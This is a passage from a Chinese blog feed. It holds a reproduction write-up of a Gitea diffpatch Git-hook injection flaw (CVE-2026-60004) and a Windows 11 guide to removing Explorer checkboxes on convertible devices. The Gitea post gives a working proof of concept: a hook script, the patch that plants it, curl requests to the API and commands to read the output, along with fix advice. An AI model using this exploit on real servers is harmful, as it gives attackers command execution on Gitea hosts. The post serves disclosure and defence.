    <category term="分析复现" scheme="https://moxin1044.github.io/categories/%E6%BC%8F%E6%B4%9E/Web/%E5%88%86%E6%9E%90%E5%A4%8D%E7%8E%B0/"/>
    <category term="漏洞复现" scheme="https://moxin1044.github.io/tags/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"/>
    <category term="Gitea" scheme="https://moxin1044.github.io/tags/Gitea/"/>
    <category term="RCE" scheme="https://moxin1044.github.io/tags/RCE/"/>
    <category term="代码审计" scheme="https://moxin1044.github.io/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    <category term="网络安全" scheme="https://moxin1044.github.io/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>Gitea 在 <strong>1.17 ~ 1.27.0</strong> 版本中存在一个严重的代码注入漏洞（<strong>CVE-2026-60004</strong>，GHSA-rcr6-4jqh-j84m），官方已在 <strong>1.27.1</strong> 修复。漏洞位于 <strong>diffpatch（差异补丁）API</strong>：攻击者只需拥有一个账号并对任意仓库具备写权限，即可通过该接口提交恶意补丁，在服务器以 <strong>裸仓库（bare repo）</strong> 形式存储的临时仓库中 <strong>植入并执行 Git 钩子</strong>，从而以 <strong>Gitea 服务账户权限执行任意命令</strong>。</p><p>由于 Gitea 默认 <strong>开放注册</strong>，外部人员可以自行注册账号并创建仓库，从「无任何权限」直接获得仓库写权限，使该漏洞极易被真实利用（CVSS 9.8）。</p><h1 id="漏洞信息"><a href="#漏洞信息" class="headerlink" title="漏洞信息"></a>漏洞信息</h1><ul><li>漏洞编号：CVE-2026-60004（GHSA-rcr6-4jqh-j84m）</li><li>影响版本：Gitea <strong>1.17 ~ 1.27.0</strong></li><li>修复版本：<strong>1.27.1</strong></li><li>漏洞位置：<code>POST /api/v1/repos/{owner}/{repo}/diffpatch</code></li><li>利用前提：拥有账号 + 对目标仓库具备写权限（默认开放注册时，攻击者可自行注册并创建仓库，天然满足）</li><li>危害：任意命令执行（以 Gitea 运行账户身份，CWE-94）</li></ul><h1 id="环境信息"><a href="#环境信息" class="headerlink" title="环境信息"></a>环境信息</h1><ul><li>目标：一台存在该漏洞的 Gitea 实例（受影响的 <strong>1.27.0</strong>）</li><li>服务账户：<code>git</code>（<code>Run As Username: git</code>）</li><li>Git 版本：2.54.0（<code>git apply -3</code> 需要 Git ≥ 2.32）</li></ul><p><img src="../../attachments/image-20261014040001111.png" alt="Gitea 首页，底部显示版本 1.27.0"></p><h1 id="漏洞原理"><a href="#漏洞原理" class="headerlink" title="漏洞原理"></a>漏洞原理</h1><h2 id="diffpatch-接口"><a href="#diffpatch-接口" class="headerlink" title="diffpatch 接口"></a>diffpatch 接口</h2><p>Gitea 提供 <code>diffpatch</code> 接口，用于对一个仓库应用一段 unified diff 补丁：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">POST /api/v1/repos/&#123;owner&#125;/&#123;repo&#125;/diffpatch</span><br><span class="line">Content-Type: application/json</span><br><span class="line"></span><br><span class="line">&#123;</span><br><span class="line">  &quot;content&quot;: &quot;&lt;unified diff&gt;&quot;,</span><br><span class="line">  &quot;message&quot;: &quot;commit message&quot;,</span><br><span class="line">  &quot;branch&quot;: &quot;main&quot;,</span><br><span class="line">  &quot;new_branch&quot;: &quot;main&quot;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>服务端逻辑位于 <code>services/repository/files/patch.go</code>，流程为：创建临时仓库 → 克隆目标仓库 → <code>git apply</code> 应用补丁 → 生成提交 → 推送回目标仓库。</p><h2 id="漏洞点：裸仓库-git-apply-index-cached-three-way-回退"><a href="#漏洞点：裸仓库-git-apply-index-cached-three-way-回退" class="headerlink" title="漏洞点：裸仓库 + git apply --index --cached + three-way 回退"></a>漏洞点：裸仓库 + <code>git apply --index --cached</code> + three-way 回退</h2><p>受影响版本用 <strong>裸仓库</strong> 克隆临时仓库，并以如下命令应用补丁：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// v1.27.0 —— 存在漏洞</span></span><br><span class="line"><span class="keyword">if</span> err := t.Clone(ctx, opts.OldBranch, <span class="literal">true</span>); err != <span class="literal">nil</span> &#123; <span class="comment">// ← bare = true</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">nil</span>, err</span><br><span class="line">&#125;</span><br><span class="line">...</span><br><span class="line">cmdApply := gitcmd.NewCommand(<span class="string">&quot;apply&quot;</span>, <span class="string">&quot;--index&quot;</span>, <span class="string">&quot;--recount&quot;</span>, <span class="string">&quot;--cached&quot;</span>,</span><br><span class="line">    <span class="string">&quot;--ignore-whitespace&quot;</span>, <span class="string">&quot;--whitespace=fix&quot;</span>, <span class="string">&quot;--binary&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> git.DefaultFeatures().CheckVersionAtLeast(<span class="string">&quot;2.32&quot;</span>) &#123;</span><br><span class="line">    cmdApply.AddArguments(<span class="string">&quot;-3&quot;</span>)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>关键点：</p><ol><li>临时仓库是 <strong>裸仓库</strong>，其「工作目录」就是 <strong>Git 目录本身</strong>（<code>$GIT_DIR</code>）；</li><li>正常情况下 <code>--cached</code> 只写索引，不会写工作区。但 <strong>把同一个补丁提交两次</strong> 会产生 <strong>add/add 冲突</strong>，触发 Git 的 <strong>three-way 回退</strong>（<code>-3</code>）——<strong>即使带 <code>--cached</code>，Git 仍会把索引中的路径 checkout 到工作区</strong>；</li><li>于是补丁里的文件被真实地写进裸仓库的 Git 目录：<code>hooks/post-index-change</code> 成为一个「活的」Git 钩子；</li><li><code>post-index-change</code> 是 Git 在 <strong>写索引时</strong> 调用的钩子（<code>git apply</code>、<code>read-tree</code>、<code>update-index</code> 等都会触发），因此 <strong>无需等待 push，diffpatch 操作本身就会执行该钩子</strong>；钩子以 Gitea 服务账户（<code>git</code>）权限运行，实现任意命令执行。</li></ol><h2 id="结果回显（无外连）"><a href="#结果回显（无外连）" class="headerlink" title="结果回显（无外连）"></a>结果回显（无外连）</h2><p>临时仓库是 <code>--shared</code> 克隆，其 <code>objects/info/alternates</code> 指向 <strong>源仓库（真实仓库）</strong> 的对象目录。钩子可以据此定位真实仓库的 Git 目录，把命令输出写成对象并 <code>update-ref</code> 创建一个分支；攻击者再用 smart HTTP <strong>拉取该分支</strong>即可读取命令输出，全程不需要目标主动出网。</p><h2 id="官方修复"><a href="#官方修复" class="headerlink" title="官方修复"></a>官方修复</h2><p>1.27.1 通过 PR <a href="https://github.com/go-gitea/gitea/pull/38637">#38637</a> 修复：把临时仓库改为 <strong>非裸仓库（non-bare）</strong> 克隆，使工作区与 Git 目录分离，补丁再也无法写入 <code>hooks/</code> 等 Git 内部文件。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// v1.27.1 —— 已修复</span></span><br><span class="line"><span class="keyword">if</span> err := t.Clone(ctx, opts.OldBranch, <span class="literal">false</span>); err != <span class="literal">nil</span> &#123; <span class="comment">// ← bare = false</span></span><br></pre></td></tr></table></figure><h1 id="复现步骤"><a href="#复现步骤" class="headerlink" title="复现步骤"></a>复现步骤</h1><h2 id="1-指纹识别"><a href="#1-指纹识别" class="headerlink" title="1. 指纹识别"></a>1. 指纹识别</h2><p>访问首页，底部显示 <code>版本: 1.27.0</code>，处于受影响版本（见上图）。</p><h2 id="2-注册账号并创建仓库"><a href="#2-注册账号并创建仓库" class="headerlink" title="2. 注册账号并创建仓库"></a>2. 注册账号并创建仓库</h2><p>默认开放注册，注册一个普通账号后创建仓库，即可获得写权限。</p><h2 id="3-构造恶意补丁"><a href="#3-构造恶意补丁" class="headerlink" title="3. 构造恶意补丁"></a>3. 构造恶意补丁</h2><p>补丁在 <code>hooks/post-index-change</code> 新增一个可执行脚本。脚本会执行命令、把输出写入源仓库对象，并创建一个 <code>refs/heads/&lt;leak_ref&gt;</code> 分支用于回显：</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/sh</span></span><br><span class="line">git_dir=$(git rev-parse --absolute-git-dir) || <span class="built_in">exit</span> 1</span><br><span class="line">origin_objects=$(sed -n <span class="string">&quot;1p&quot;</span> <span class="string">&quot;<span class="variable">$git_dir</span>/objects/info/alternates&quot;</span>) || <span class="built_in">exit</span> 2</span><br><span class="line"><span class="keyword">case</span> <span class="string">&quot;<span class="variable">$origin_objects</span>&quot;</span> <span class="keyword">in</span></span><br><span class="line">  /*) ;;</span><br><span class="line">  *) origin_objects=<span class="string">&quot;<span class="variable">$git_dir</span>/objects/<span class="variable">$origin_objects</span>&quot;</span> ;;</span><br><span class="line"><span class="keyword">esac</span></span><br><span class="line">origin_git=<span class="variable">$&#123;origin_objects%/objects&#125;</span></span><br><span class="line">[ <span class="string">&quot;<span class="variable">$origin_git</span>&quot;</span> != <span class="string">&quot;<span class="variable">$origin_objects</span>&quot;</span> ] || <span class="built_in">exit</span> 3</span><br><span class="line">output_blob=$( &#123; <span class="built_in">id</span>; hostname; <span class="built_in">uname</span> -srm; command_status=$?; <span class="built_in">printf</span> <span class="string">&quot;\n[exit-status=%s]\n&quot;</span> <span class="string">&quot;<span class="variable">$command_status</span>&quot;</span>; &#125; 2&gt;&amp;1 | git --git-dir=<span class="string">&quot;<span class="variable">$origin_git</span>&quot;</span> hash-object -w --stdin) || <span class="built_in">exit</span> 4</span><br><span class="line">tree=$(<span class="built_in">printf</span> <span class="string">&quot;100644 blob %s\toutput\n&quot;</span> <span class="string">&quot;<span class="variable">$output_blob</span>&quot;</span> | git --git-dir=<span class="string">&quot;<span class="variable">$origin_git</span>&quot;</span> mktree) || <span class="built_in">exit</span> 5</span><br><span class="line">commit=$(<span class="built_in">printf</span> <span class="string">&quot;command output\n&quot;</span> | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir=<span class="string">&quot;<span class="variable">$origin_git</span>&quot;</span> commit-tree <span class="string">&quot;<span class="variable">$tree</span>&quot;</span>) || <span class="built_in">exit</span> 6</span><br><span class="line">git --git-dir=<span class="string">&quot;<span class="variable">$origin_git</span>&quot;</span> update-ref refs/heads/poc-output <span class="string">&quot;<span class="variable">$commit</span>&quot;</span> || <span class="built_in">exit</span> 7</span><br><span class="line"><span class="built_in">exit</span> 0</span><br></pre></td></tr></table></figure><p>对应的补丁：</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">diff --git a/hooks/post-index-change b/hooks/post-index-change</span></span><br><span class="line">new file mode 100755</span><br><span class="line"><span class="comment">index 0000000000000000000000000000000000000000..&lt;blob_oid&gt;</span></span><br><span class="line"><span class="comment">--- /dev/null</span></span><br><span class="line"><span class="comment">+++ b/hooks/post-index-change</span></span><br><span class="line">@@ -0,0 +1,N @@</span><br><span class="line"><span class="addition">+#!/bin/sh</span></span><br><span class="line"><span class="addition">+...（上面的脚本内容）</span></span><br></pre></td></tr></table></figure><h2 id="4-同一补丁提交两次"><a href="#4-同一补丁提交两次" class="headerlink" title="4. 同一补丁提交两次"></a>4. 同一补丁提交两次</h2><p><strong>关键：把这段完全相同的补丁连续提交两次。</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">curl -X POST <span class="string">&quot;<span class="variable">$TARGET</span>/api/v1/repos/<span class="variable">$USER</span>/<span class="variable">$REPO</span>/diffpatch&quot;</span> \</span><br><span class="line">  -u <span class="string">&quot;<span class="variable">$USER</span>:<span class="variable">$PASS</span>&quot;</span> -H <span class="string">&quot;Content-Type: application/json&quot;</span> \</span><br><span class="line">  -d <span class="string">&#x27;&#123;&quot;content&quot;:&quot;&lt;上面的补丁&gt;&quot;,&quot;message&quot;:&quot;add hook&quot;,&quot;branch&quot;:&quot;main&quot;,&quot;new_branch&quot;:&quot;main&quot;&#125;&#x27;</span></span><br><span class="line"><span class="comment"># 再执行一次完全相同的请求</span></span><br></pre></td></tr></table></figure><p>第一次 <code>201 Created</code>；第二次仍是 <code>201 Created</code>，但这次触发了 add/add 冲突与 three-way 回退，<code>hooks/post-index-change</code> 被真实写入裸仓库的 Git 目录并被执行。由于 <code>post-index-change</code> 的返回值不会体现在 <code>diffpatch</code> 的响应里，两次请求都表现为正常成功。</p><p>仓库中可见被植入的可执行钩子：</p><p><img src="../../attachments/image-20261014040001222.png" alt="被植入的 hooks/post-index-change（可执行文件）"></p><h2 id="5-读取命令执行结果"><a href="#5-读取命令执行结果" class="headerlink" title="5. 读取命令执行结果"></a>5. 读取命令执行结果</h2><p>拉取钩子创建的 <code>poc-output</code> 分支，即可看到命令输出：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">git init --bare leak.git</span><br><span class="line">git -C leak.git -c <span class="string">&quot;http.extraHeader=Authorization: Basic &lt;base64(user:pass)&gt;&quot;</span> \</span><br><span class="line">    fetch --no-tags <span class="string">&quot;<span class="variable">$TARGET</span>/<span class="variable">$USER</span>/<span class="variable">$REPO</span>.git&quot;</span> <span class="string">&quot;refs/heads/poc-output&quot;</span></span><br><span class="line">git -C leak.git show <span class="string">&quot;FETCH_HEAD:output&quot;</span></span><br></pre></td></tr></table></figure><p>输出确认命令以 <strong>Gitea 服务账户 <code>git</code></strong> 身份执行：</p><p><img src="../../attachments/image-20261014040001333.png" alt="命令输出：uid=1000(git)"></p><h2 id="6-获取-flag"><a href="#6-获取-flag" class="headerlink" title="6. 获取 flag"></a>6. 获取 flag</h2><p>拿到命令执行能力后，读取 flag 文件即可（本例中 flag 位于服务器根目录，属主为服务账户 <code>git</code>）：</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ls</span> -la /</span><br><span class="line"><span class="built_in">cat</span> /flag</span><br></pre></td></tr></table></figure><p>（flag 值略。）</p><h1 id="修复建议"><a href="#修复建议" class="headerlink" title="修复建议"></a>修复建议</h1><ol><li><strong>升级</strong>：立即升级到 <strong>Gitea 1.27.1 及以上</strong>；</li><li><strong>关闭开放注册</strong>：<code>DISABLE_REGISTRATION = true</code>，或改为管理员审批 / 邮箱域名白名单；</li><li><strong>收紧接口权限</strong>：限制 <code>diffpatch</code> 等会写仓库内容 / Git 目录的接口，仅授予可信用户并做审计；</li><li><strong>资产排查</strong>：检查仓库中是否存在异常的 <code>hooks/</code>、<code>custom_hooks/</code> 文件（可执行脚本），以及来源不明的分支；</li><li><strong>最小权限</strong>：以低权限、隔离的账户运行 Gitea，降低 RCE 后的影响面。</li></ol><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><ul><li>GHSA-rcr6-4jqh-j84m —— <em>Remote Code Execution via diffpatch Git Hook Installation</em><br><a href="https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m">https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m</a></li><li>Gitea PR #38637（git patch apply 修复）<br><a href="https://github.com/go-gitea/gitea/pull/38637">https://github.com/go-gitea/gitea/pull/38637</a></li></ul>]]>
    </content>
    <id>https://moxin1044.github.io/posts/b004/</id>
    <link href="https://moxin1044.github.io/posts/b004/"/>
    <published>2026-10-13T19:41:00.000Z</published>
    <summary>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js"]]>
    </summary>
    <title>【漏洞复现】CVE-2026-60004 Gitea diffpatch 接口 Git 钩子注入致远程命令执行</title>
    <updated>2026-10-13T19:48:56.573Z</updated>
  </entry>
  <entry>
    <author>
      <name>末心</name>
    </author>
    <category term="Windows" scheme="https://moxin1044.github.io/categories/Windows/"/>
    <category term="运维" scheme="https://moxin1044.github.io/categories/Windows/%E8%BF%90%E7%BB%B4/"/>
    <category term="运维" scheme="https://moxin1044.github.io/tags/%E8%BF%90%E7%BB%B4/"/>
    <category term="Windows" scheme="https://moxin1044.github.io/tags/Windows/"/>
    <category term="Windows11" scheme="https://moxin1044.github.io/tags/Windows11/"/>
    <category term="资源管理器" scheme="https://moxin1044.github.io/tags/%E8%B5%84%E6%BA%90%E7%AE%A1%E7%90%86%E5%99%A8/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>在 Windows 11 里，文件资源管理器中的每个文件、文件夹前面都出现了「复选框」，即使在 <strong>查看 → 显示 → 项目复选框</strong> 中取消勾选，这些复选框依然存在，切换任何目录都有。很多朋友（尤其是二合一 / 可拆键盘的平板笔电用户）都被这个「关不掉的复选框」折磨过。</p><p>本次复现所使用的设备信息如下，供大家对号入座：</p><ul><li><strong>设备型号</strong>：ALLDOCUBE（酷比魔方）iWork GT Ultra</li><li><strong>设备类型</strong>：二合一平板笔电（可拆键盘的平板 / 笔记本两用设备，即 Windows 所称的 Convertible「可变形设备」）</li><li><strong>操作系统</strong>：Windows 11 家庭版 25H2（Build 26200）</li></ul><blockquote><p>正是这类「可变形设备」才最容易触发本问题——普通台式机或非触屏笔记本一般不会遇到。</p></blockquote><p>本文完整记录了该问题的现象、排查过程，以及最终的修复方案。</p><h1 id="问题现象"><a href="#问题现象" class="headerlink" title="问题现象"></a>问题现象</h1><ul><li>顶部菜单 <strong>查看 → 显示 → 项目复选框</strong> 处于「未勾选」状态；</li><li>但每个文件前面始终有一个复选框，连列表表头都带全选框；</li><li>任意目录都存在，重启资源管理器、重启电脑均无效。</li></ul><p><img src="../../attachments/image-20261014021012.png" alt="问题现象：每个文件前都有复选框"></p><h1 id="常规排查（均无效）"><a href="#常规排查（均无效）" class="headerlink" title="常规排查（均无效）"></a>常规排查（均无效）</h1><p>遇到这种情况，一般第一反应是去关掉相关设置，通常会把下面几招都试一遍：</p><ol><li><strong>查看 → 显示 → 项目复选框</strong>，取消勾选；</li><li><strong>文件夹选项 → 查看 → 使用复选框选择项</strong>，取消勾选；</li><li>修改注册表 <code>HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced</code> 下的 <code>AutoCheckSelect</code> 为 <code>0</code>；</li><li>删除文件夹视图缓存，让资源管理器重建视图：</li></ol><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags</span><br><span class="line">HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU</span><br></pre></td></tr></table></figure><p>这些方法在普通电脑上大多有效，但在 <strong>二合一平板笔电</strong> 上往往全部无效——因为问题根本不在这些设置里。</p><blockquote><p>实测：<code>AutoCheckSelect</code> 已经是 <code>0</code>，删除 <code>Bags</code>、<code>BagMRU</code> 后重启资源管理器，复选框依旧存在。</p></blockquote><h1 id="根本原因"><a href="#根本原因" class="headerlink" title="根本原因"></a>根本原因</h1><p>问题出在设备的「形态」判断上。</p><p>Windows 会对 <strong>可变形设备（Convertible，例如可拆键盘的二合一平板笔电）</strong> 做形态自动识别：当系统认为设备处于 <strong>平板 / Slate 模式</strong> 时，资源管理器会被 <strong>强制</strong> 使用复选框选择项目，并且 <strong>忽略</strong> 用户在设置或注册表中作出的选择。</p><p>也就是说：</p><blockquote><p>只要 Windows 把设备当成「平板」，<code>项目复选框</code> 这个开关就形同虚设，怎么关都关不掉。</p></blockquote><p>这一点在微软官方问答与技术社区都有明确说明：</p><ul><li>微软 Q&amp;A 中，官方针对同为二合一机型的用户给出的建议就是「告诉 Windows 不要再把它当作平板设备」；</li><li>ElevenForum 的说明也指出：<em>若平板、可变形或二合一设备处于平板 / 幕板模式，复选框会被始终启用，即使关闭也无效。</em></li></ul><p>这类问题在可拆键盘平板上尤其常见（本文涉及的机器为 <strong>iWork GT Ultra</strong>，类似机型如 <strong>Nimo Pro</strong> 也有相同现象）。</p><h1 id="解决方法"><a href="#解决方法" class="headerlink" title="解决方法"></a>解决方法</h1><p>核心思路：<strong>让 Windows 不再把设备识别为「可变形 / Convertible 设备」</strong>。</p><h2 id="图形界面方式"><a href="#图形界面方式" class="headerlink" title="图形界面方式"></a>图形界面方式</h2><ol><li><code>Win + R</code> 输入 <code>regedit</code> 回车，打开注册表编辑器；</li><li>定位到：</li></ol><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\PriorityControl</span><br></pre></td></tr></table></figure><ol><li>在右侧空白处右键 → <strong>新建 → DWORD (32 位) 值</strong>，命名为 <code>ConvertibilityEnabled</code>；</li><li>双击 <code>ConvertibilityEnabled</code>，把「数值数据」设为 <code>0</code>；</li><li>关闭注册表编辑器，<strong>重启电脑</strong>（或先重启资源管理器）。</li></ol><p><img src="../../attachments/image-20261014021034.png" alt="在 PriorityControl 下新建 ConvertibilityEnabled = 0"></p><h2 id="命令行方式（需管理员）"><a href="#命令行方式（需管理员）" class="headerlink" title="命令行方式（需管理员）"></a>命令行方式（需管理员）</h2><p>以 <strong>管理员身份</strong> 打开命令提示符 / PowerShell，执行：</p><figure class="highlight bat"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">reg add &quot;HKLM\SYSTEM\CurrentControlSet\Control\PriorityControl&quot; /v ConvertibilityEnabled /t REG_DWORD /d <span class="number">0</span> /f</span><br></pre></td></tr></table></figure><p>然后重启，或结束并重新启动 <code>explorer.exe</code>：</p><figure class="highlight bat"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">:: 重启资源管理器</span><br><span class="line"><span class="built_in">taskkill</span> /f /im explorer.exe &amp; <span class="built_in">start</span> explorer.exe</span><br></pre></td></tr></table></figure><p>修复后，资源管理器恢复为普通电脑的样式，复选框不再出现：</p><p><img src="../../attachments/image-20261014021056.png" alt="修复后：复选框已消失"></p><h1 id="原理说明"><a href="#原理说明" class="headerlink" title="原理说明"></a>原理说明</h1><ul><li><code>ConvertibilityEnabled</code> 用来指示当前设备是否具备「可变形（平板 / 笔记本切换）」能力；</li><li>设为 <code>0</code> 后，Windows 不再为该设备启用平板形态相关逻辑，其中就包含「强制显示复选框」的行为；</li><li>该值位于 <code>HKLM</code> 系统级，需要管理员权限，且 <strong>重启后生效</strong>。</li></ul><h1 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h1><ul><li><strong>副作用</strong>：禁用后可变形设备的「平板模式自动切换」「屏幕自动旋转」，以及 <strong>断开键盘后自动弹出屏幕键盘</strong> 等依赖形态识别的功能会一并失效（这正是触发复选框问题的同一套机制）。屏幕键盘问题在下文给出了解决方案。对于以桌面方式使用为主的用户，影响不大。</li><li><strong>恢复方法</strong>：如需恢复平板特性，删除 <code>ConvertibilityEnabled</code> 这个值（或将其改回 <code>1</code>）后重启即可。</li><li>不同品牌 / 固件实现不同，个别机型可能仍受厂商驱动影响。</li></ul><h1 id="副作用：断开键盘后不再自动弹出屏幕键盘（含解决方案）"><a href="#副作用：断开键盘后不再自动弹出屏幕键盘（含解决方案）" class="headerlink" title="副作用：断开键盘后不再自动弹出屏幕键盘（含解决方案）"></a>副作用：断开键盘后不再自动弹出屏幕键盘（含解决方案）</h1><p>应用上面的修复后，很多二合一用户会发现一个新的问题：</p><blockquote><p><strong>拔下键盘后，点击输入框不再自动弹出屏幕触摸键盘。</strong></p></blockquote><p><strong>原因</strong>：屏幕键盘的自动弹出，同样依赖「可变形 / 平板」的形态检测——也就是系统需要知道「键盘当前是否连接」。当 <code>ConvertibilityEnabled = 0</code> 关闭了这套检测后，系统就不再知道键盘被拔掉了，自然也不会自动弹出屏幕键盘。</p><p>这是该修复无法完全避免的连带影响，但可以用下面两种方法弥补。</p><h2 id="方法一：手动唤出（最简单）"><a href="#方法一：手动唤出（最简单）" class="headerlink" title="方法一：手动唤出（最简单）"></a>方法一：手动唤出（最简单）</h2><ul><li><strong>快捷键</strong>：任何时候按 <strong><code>Win + Ctrl + O</code></strong>，即可唤出屏幕键盘（<code>osk.exe</code>）；</li><li><strong>任务栏按钮</strong>：打开「设置 → 个性化 → 任务栏 → 触摸键盘」，选择 <strong>「始终」</strong>，让触摸键盘图标常驻任务栏，需要时点一下即可。（不同版本路径略有差异，也可以在任务栏空白处右键 → 任务栏设置 中找到「触摸键盘」项。）</li></ul><h2 id="方法二：自动弹出（进阶脚本）"><a href="#方法二：自动弹出（进阶脚本）" class="headerlink" title="方法二：自动弹出（进阶脚本）"></a>方法二：自动弹出（进阶脚本）</h2><p>虽然系统不再切换「平板模式」，但<strong>键盘硬件被拔下这个事件本身依然存在</strong>。我们可以用一个小脚本监听「键盘设备被移除」，一旦检测到就自动弹出触摸键盘，从而还原「拔下即弹出」的体验。</p><p>新建脚本 <code>ShowTouchKeyboard.ps1</code>，内容如下：</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$TabTip</span> = <span class="string">&#x27;C:\Program Files\Common Files\microsoft shared\ink\TabTip.exe&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 检测到键盘设备被移除时，自动弹出触摸键盘</span></span><br><span class="line"><span class="variable">$action</span> = &#123;</span><br><span class="line">    <span class="built_in">Start-Sleep</span> <span class="literal">-Seconds</span> <span class="number">2</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="operator">-not</span> (<span class="built_in">Get-Process</span> TabTip <span class="literal">-ErrorAction</span> SilentlyContinue)) &#123;</span><br><span class="line">        <span class="built_in">Start-Process</span> <span class="variable">$TabTip</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">Register-CimIndicationEvent</span> `</span><br><span class="line">  <span class="literal">-Query</span> <span class="string">&quot;SELECT * FROM __InstanceDeletionEvent WITHIN 3 WHERE TargetInstance ISA &#x27;Win32_Keyboard&#x27;&quot;</span> `</span><br><span class="line">  <span class="literal">-SourceIdentifier</span> KeyGone <span class="literal">-Action</span> <span class="variable">$action</span> | <span class="built_in">Out-Null</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 保持脚本常驻</span></span><br><span class="line"><span class="keyword">while</span> (<span class="variable">$true</span>) &#123; <span class="built_in">Start-Sleep</span> <span class="literal">-Seconds</span> <span class="number">30</span> &#125;</span><br></pre></td></tr></table></figure><p>让它开机自启：按 <code>Win + R</code> 输入 <code>shell:startup</code> 回车，在打开的「启动」文件夹中放入一个指向该脚本的快捷方式，目标填写：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File &quot;C:\path\to\ShowTouchKeyboard.ps1&quot;</span><br></pre></td></tr></table></figure><p>这样即可实现「拔下键盘 → 自动弹出触摸键盘」，与修复前的体验基本一致。</p><blockquote><p>提示：如果你的设备绝大多数时间都当作桌面 / 笔记本使用，这个副作用基本无感；如果经常拆下键盘当平板用，建议按上面的方法补上屏幕键盘。</p></blockquote><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><ul><li>Why can’t I disable Item Check Boxes in File Explorer? —— Microsoft Q&amp;A<br><a href="https://learn.microsoft.com/en-us/answers/questions/3864291/why-cant-i-disable-item-check-boxes-in-file-explor">https://learn.microsoft.com/en-us/answers/questions/3864291/why-cant-i-disable-item-check-boxes-in-file-explor</a></li><li>Turn On or Off Use Check Boxes to Select Items in Windows 11 —— ElevenForum<br><a 